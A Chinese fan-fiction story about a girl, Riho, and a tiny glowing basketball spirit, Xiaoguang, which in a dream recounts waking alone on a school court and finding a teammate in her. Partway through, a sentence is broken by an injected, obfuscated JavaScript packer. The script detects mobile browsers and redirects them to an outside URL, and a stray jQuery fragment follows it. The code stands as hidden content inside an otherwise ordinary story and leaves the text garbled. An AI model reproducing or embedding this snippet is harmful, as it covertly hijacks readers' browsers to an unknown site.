理穗坐在书桌前，台灯的光把笔记本照得发白。她把小光从肩膀上接下来，放在桌面上。小光兴奋地滚了一圈，像一颗弹珠，在桌面上转了两圈才停住。它站起来晃了晃，像是在晕。
“……你没事吧？”
小光有些晕头转向，脚步虚浮，而后趴在桌子上无力的闪了闪。
理穗低下头，翻开笔记本的空白页。
她拿起笔，对着小光开始画。小光的光在台灯照耀下显得有点淡，灯光下几乎是透明的。
她先是画了一个篮球背景——然后开始细致的描画小光的身体，比篮球小一点，比乒乓球大一点。然后画翅膀，两片，薄薄的，像蝉翼。
她画得很慢。小光在桌面上跳了跳，滚到笔记本旁边，歪着“身子”看她在画什么。它闪了闪，闪得快了一些，“理穗，你在干什么？这是我吗”
“是的，想留下点你的痕迹，……别动。”
小光听到立刻像是木头人游戏里的木头人，立在那里。但它还在闪，一明一灭的，像心跳。
理穗画完翅膀，又画了它身体上的纹路——不是花纹，是光纹，像水的波纹，一圈一圈的。
“还没好吗？哎呀，我有点站不稳了呀？”
“马上就好….好了。”她画完最后一笔，把笔放下。
小光跳过来，趴在画上面。它看了很久。高兴的跳了跳——一下，两下，三下。
“……喜欢？”
“开心的不得了，和打篮球的时候一样。”它闪了一下。很亮。
理穗看着它，嘴角微微动了一下。
像风吹过水面，一下就没了。她把笔记本合上。小光滚到她的手边，蹭了蹭她的手指。暖暖的。
“小光。”
它抬起头，看着理穗，翅膀跟着闪了闪。
“你在那里多久了？”
小光沉思了一会儿，掰着手指头，一下，一下。然后又数了三下。她看不懂。但它数得很认真，像是在思考什么。
“……很久？”理穗胳膊拄在桌子上，看着小光不确定的问。
小光点了点头，然后跳起来，落在她的肩膀上，缩成一团。她伸出手指碰了碰它。暖暖的。她关了台灯。
“晚安，小光。”
“晚安，理穗。”
入夜，理穗做了一场梦。
梦里她站在篮球场中央，是帝光的体育馆，看台，记分板，篮球，还有只有一片空荡荡的球场。
“我是世界第一！篮球最棒！”
声音从篮筐上传来。理穗抬起头。小光蹲在篮筐的螺丝帽上，两条腿悬在半空晃悠。
小光低下头，看着自己的脚。脚很小，悬在半空，晃啊晃，自言自语。
它的声音很响亮，很难想象是这么小的身体发出来的。理穗朝小光走去，“小光！”
但是它好像听不到也看不到理穗。
“我今天正蹲在篮筐的螺丝帽上，两条腿悬在半空晃悠。下面有人在打球，是帝光中学的几个男生，运球声‘砰砰砰’地响，震得我屁股底下这个铁圈微微发颤。我喜欢这种颤动。它让我想起自己是怎么来的。”
理穗站在那里，听着。
小光抬起头，看着远处的灯光和观众席，此时空荡荡的。
“啊啊啊啊—我还是喜欢人多热闹的时候。不然一个人的时候总会想起我诞生的场景，其实挺丢人的。”
它的声音在空荡荡的球场上回荡。
“那天是夏天最热的一个下午，这所学校放假，球场上一个人都没有。我醒来的时候，发现自己趴在罚球线的正中央——准确地说，是趴在罚球线那颗掉了一半漆的白点上。”
理穗走到罚球线，低头看。白点还在。很旧了，边缘已经模糊。她蹲下来，用手指碰了碰。
“那时候我还不知道自己是什么东西。”
小光从篮筐上跳下来，落在她面前。翅膀扇了两下，发出很轻的、像纸页翻动的声音。
“我低头看了看自己：橘色的皮肤，细胳膊细腿，身后拖着两片薄得透光的翅膀。我试着站起来，膝盖软得像棉花糖，一屁股又坐了回去。然后我看到了手边那个橙色的圆东西。篮球。比我的脑袋还大。”
小光坐在地上，两条腿伸在前面，用手比划篮球的大小。它的手很小，比划出来的圆比它自己还大。
“但奇怪的是，我的手一碰到它，就什么毛病都没了。我‘噌’地跳起来，手指像被磁铁吸住一样，球就那么乖乖地贴在我掌心。我试着拍了一下——砰。球弹起来，稳稳回到手里。砰。砰。砰。这声音就像是我的心跳一样。”
它的手虚拍着地面，没有球，但作出各种拍球投篮的动作，它拍得很认真。
理穗看着它的手，看着它一下一下地拍。地面上没有声音。但她在心里听见了。咚。咚。咚。
“我开始在空无一人的球场上运球。从罚球线到三分线，从三分线到底角，从底角到中场。我的脚几乎没碰地面，整个人像是在球场上飘。阳光把影子拉得老长，我一个人打了整整一个下午。直到太阳下山，我才终于停下来，坐在篮架下面喘气。”
小光的声音越来越轻。它缩成一团，抱着自己的膝盖。
“那时候我不知道什么是‘诞生’，什么是‘死’。我只知道，那天下午，篮球拍在地上的声音，是我听过的、最好听的声音。”
理穗蹲下来，看着它。它的翅膀垂在地上，边缘有点卷。
“后来呢？”
“后来呢？”小光想了想。“后来学校开学了。每天都有很多人来打球。砰砰砰，砰砰砰，地板震个不停。我躲在篮筐上面，看着下面的人。他们运球，投篮，抢篮板。球进的时候，网会‘唰’地响一声。我喜欢那个声音。比拍球的声音还好听。”
“你一个人？”
“嗯。一个人。没有人看见我。只有我一个人玩球。有时候，好寂寞啊—有谁能和我一起吗？看看我着完美的接力无人能及！”
理穗明知道在梦境中小光看不见她，还是忍不住发问而小光也正好回答，一切都那么自然。
小光接着回忆，梦境跟着回忆不断浮现。
我开始在空无一人的球场上运球。
“嘿。”
我吓了一跳，回头一看，是个穿校服的男生，背着书包站在场地外面。
“有谁在吗？”他隔着看台往球场里张望，“我好像听见运球声，奇怪，怎么没看见人……”
我屏住呼吸，一动不动。
他看了半天，摇摇头走了。
后来我才知道，普通人是看不见我的。除非——
除非他们真的、真的非常喜欢篮球。
我的日常，说起来也挺无聊的。
天一亮我就醒了。我没有床，也不需要。我最喜欢待的地方是篮圈和篮板的连接处，那里有个小缝，刚好能卡住我的脚。我就倒挂在上面，看下面的人打球。
有时候看得手痒，就跳下去掺和。
我通常不碰球——我要是碰了，球就会自己跑起来，下面的人会莫名其妙地投出一个弧线诡异的球，然后挠着头说“手感真好”。
但有时候实在忍不住。
比如今天下午，来了个小个子男生，看样子是初一的，被三个高个子围着打。他运球过不了人，传球总被断，好不容易投了一个，球在篮圈上转了三圈，又滚出来了。
他蹲在地上喘气，汗滴在水泥地上，洇出一个个深色的小圆点。
我蹲在他对面，歪着头看他。
“你左手运球不行，”我说。
他当然听不见。
“还有，你投篮的时候手肘往外撇了。”
他还是听不见。
我叹了口气，跳起来，从他手里把球“借”走——其实就是我推了一下，球从他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530690|203684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手里弹出来，滚到一边。他骂了一句，跑去捡球。我趁他回来之前，站在他即将投篮的位置，双手往上托了一把——
接下来的事你们猜到了。
球空心入网。
他愣住了，低头看看自己的手，又抬头看看篮筐。然后他又投了一个。我没帮他。球砸在前沿上，弹飞了。
但他没放弃。他捡回来，再投。再捡，再投。
第七个的时候，我帮他调整了一下出手的角度。
空心。
他笑了。
那是我听过最好听的声音。比运球声好听，比哨声好听，比球鞋摩擦地板的声音都好听。
那一刻，我觉得自己的翅膀在发光。不是太阳照的，是从里面亮起来的。
后来我才知道，我们这种篮球精灵，是靠“热爱”活着的。没有人打球的地方，我们会慢慢变淡，像水彩被雨水冲走一样。
但只要有人在球场上笑，我们就在。
太阳快下山了。
我又蹲回了篮圈的螺丝帽上，晃着腿，看那个小个子男生收拾书包回家。他走的时候回头看了一眼球场，嘴里嘟囔了一句。
我听清了。
他说的是——
“明天再来。”
我笑了，翅膀扇了扇，把最后一缕夕阳收进怀里。
明天见。
回想完，小光抬起头，正好与理穗的目光四目相对。但它眼角的余光似乎穿透理穗看向门口，它的眼睛是金色的，和现实里一样。
“直到她来了。”
理穗没有说话。知道接下来这是再说她。
接着浮现熟悉的场景，而她坐在罚球线上，靠着小光。小光很轻，像一团空气。
“理穗第一次路过体育馆的时候，我就看见她了。她的灵力轻灵的就像是黑暗中的灯火，在我们妖精的眼里很显眼，一点都不像是理穗自己说的默默无闻。她站在门口，听同伴说话，但是我观察了很久。她的眼睛在看别的东西——在看篮筐上的我。”
“她看见我了？我兴奋极了，双手紧张的整理衣角，擦了擦身上、脸上可能存在的灰尘，我该以怎样的面目见她呢？我想和她说说话，我想请求她成为我的队友。”
“好的，我同意了，小光。”理穗在心里默默地想。
“嗯。她是第一个真正看见我的人，。”
小光靠着她。它的身体很暖，像温水。
“理穗说要邀请我一起回家，真温柔啊！虽然不能长时间离开球场，但是一晚应该没有问题。我想和她一起，我想教她篮球。”
它低下头，看着自己的手。
“我要怎么解释自己呢？不是很确定知道自己是什么。妖精？精灵？地缚灵？还是只是一个篮球，不小心变成了形状？”
理穗看着它。她没有回答。
“但是，”小光说，“我在这里。每天有人打球，我就在。球进的时候，我会发光。理穗来了，有了队友之后我会更亮。”
它站起来，拍了拍身上不存在的灰。
“嗯，这就够了。”
理穗伸出手。小光飞在半空中，仿佛被理穗捧在她的掌心。暖暖的。
理穗第看见它开心的大笑。声音像是铃铛般响亮清脆。它的光变的更亮了。很亮，像夏天的太阳。
她醒了。
窗外的天是灰蓝色的，还没有完全亮。樱花树的影子映在窗帘上。她躺在床上，看着天花板。枕头边上小光还在呼呼大睡。
她低头看着小光的睡姿，想起梦中的场景，嘴角微微翘起。
翅膀盖在身上，像一条薄毯子。它没有发光。只是在呼吸。一起一伏，一起一伏。
理穗看了它很久。然后轻轻把手绢盖在它的身上，侧过身，看着它。她想起梦里小光说的话——“你来了，我会更亮。”
她闭上眼睛。嘴角的弧度更大了一些，像被春风拂过。